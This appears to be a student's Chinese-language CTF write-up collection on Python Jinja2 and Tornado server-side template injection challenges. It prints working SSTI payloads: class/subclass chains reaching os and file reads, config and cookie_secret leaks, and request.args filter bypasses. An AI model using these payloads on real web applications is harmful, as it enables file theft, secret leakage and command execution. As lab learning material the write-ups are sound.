Python
Bugku
1.聪明的php
意思是叫我们任意传入一个参数 得到源代码
通过简单审计 发现evle这个函数执行命令 可执行phpinfo()函数,(目的是测试)
发现过滤了许多常用liunx的命令 并且发现url中的id也出现在页面中猜测是python注入
用{{2*2}}试一试 回显说明有
由于system被过滤了,所以使用passthru查看文件 知道有这些文件试一试进去看看
由于cat 被过滤了,可以使用:
tac
tail
head
more
less
来查看文件,这里使用tac查看,得到flag
攻防世界
1.web_python_template_ingcton
进入场景
说是python注入 第一次接触没头绪上网搜了搜是模块注入
基础知识
在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。
文件包含:是通过python的对象的继承来一步步实现文件读取和命令执行的的。
思路:找到父类<type ‘object’>–>寻找子类–>找关于命令执行或者文件操作的模块
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
- 是先判断有无模块注入
- 有 看全局变量 发现一个可读文件的和可以进行命令执行os
利用os模块读取目录
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
进入得到flag //{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}
2.easytornado
进入场景发现三个文件
科普
Tornado 是使用 Python 开发的全栈式(full-stack)Web 框架和异步网络库。与以前提到过的 Flask 一样都是 Python 的一种 Web 开发框架。
Tornado render 模板注入
Tornado render 是 Python 中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对 render 内容可控,不仅可以注入 XSS 代码,而且还可以通过 {{}} 进行传递变量和执行简单的表达式
其中一个显示flag路径 一个显示render
直接试一试进入flag显示 错误发现 URL 中 msg 的值与页面的显示内容相同 结合第二个文件render尝试修改msg中的参数看其是否真的存在模块注入漏洞
结合第三个文件知道flag需要filename和cookie_secret
那么 cookie_secret 又是什么东西呢,在 Tornado 中,通过在 tornado.web.Application 中添加 cookie_secret 参数,我们就可以使用 set_secure_cookie() 和 get_secure_cookie() 函数来发送和取得浏览器的 cookies ,借助该参数可以对 cookie 进行简易加密以防止 Cookie 被恶意篡改。
如何获取cookie_secret /error?msg={{handler.settings}} 得到
知道cookie_secret和filename 按照第三个文件的公式md5(cookie_secret+md5(filename))
构造payload /file?filename=/fllllllllllllag&filehash=a4cbcb402570981c31f3aabba21c0c52
得到flag
3.shrine
进入场景发现一段代码整理
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()\
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c)for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
发现他是一个flask框架,猜他是ssti注入(模块) 而且有两个很明显的路径试一试有没有模块注入 发现有
看代码他将config和self当成了黑名单 而flag在config文件里
小知识
如果没有黑名单的时候,我们可以传入 config,或者传入{{self.dict}}获取,但当这些被过滤的时候,我们需要借助一些全局变量利用沙盒逃逸的方法,来调用被禁用的函数对象。
current_app,这是全局变量代理,查看他的config即可
/shrine/{{url_for.__globals__}}
获取全局变量的config 的flag
{{url_for.__globals__['current_app'].config}}
4. Confusion1
进入场景 看到一张图有蛇和大象猜是python注入 f12没什么发现
试一试访问常见的网页文件在访问到robots时提示了两个路径可能是flag的
试着看看是否有python注入 {{1+1}} 发现有
知道flag的路径 尝试使用经典payload直接读取flag
''.__class__.__mro__[2].__subclasses__()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read()
老报错发现是设置了过滤一些关键词 发现系统过滤了class、 subclasses、 read等关键方法。 但是并未过滤request。
request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) " 。
所以我们可以利用request.args绕过输入黑名单,进行沙箱逃逸。
沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
得到flag
看了wp说有python模板注入,傻了我,于是我用bp中的scanner模块扫一下,发现果然存在模板注入,并且告诉我是jinja2的模板引擎,那么就是python模板注入,估计是flask,于是开始注入
构造http://220.249.52.133:50097/{{2*2}}
回显The requested URL /4 was not found on this server.
那么我们就可以照着这个形式注入
构造http://220.249.52.133:50097/{{''.__class__}}
这时候回显了一个弹框,为什么呢,可能是存在过滤,过滤了url中的path,那么参数呢?
我们用request.args.key来试着利用参数进行绕过
构造http://220.249.52.133:50097/{{''[request.args.a]}}?a=__class__
回显The requested URL /<type 'str'> was not found on this server.
说明这里我们成功进行了绕过,接下来照着这个思路继续尝试,发现还过滤了mro,subclasses,read,我们照样利用参数进行绕过,注意[request.args.a][request.args.b] 之间相当于有个字符连接符,并且[request.args.a]()?a=read 注意a不是等于read(),不然会返回500。
payload:{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
buuctf
1.easy_tornado
这种类型第一次做SSTI模板注入
对三个txt文件进行浏览
分别是
第二个的render提示了是一种渲染基本上可以关联到SSTI类型的题目上
第三题提示我们需要MD5加密的cookie_secret+md5(filename)
第一个则提示我们flag在/fllllllllllllag
访问之后报错
结合第三个页面的提示需要找到cookie_secret
需要构造来获取cookie_secret
handler.settings
结合第三个页面的提示
进行md5加密
3bf9f6cf685a6dd8defadabfb41a03a1
b745f336a21595dce885f0f655b52e43获得最终的md5
按照第一个页面的提示
Flag值在/fllllllllllllag中
进行URL修改
获得flag值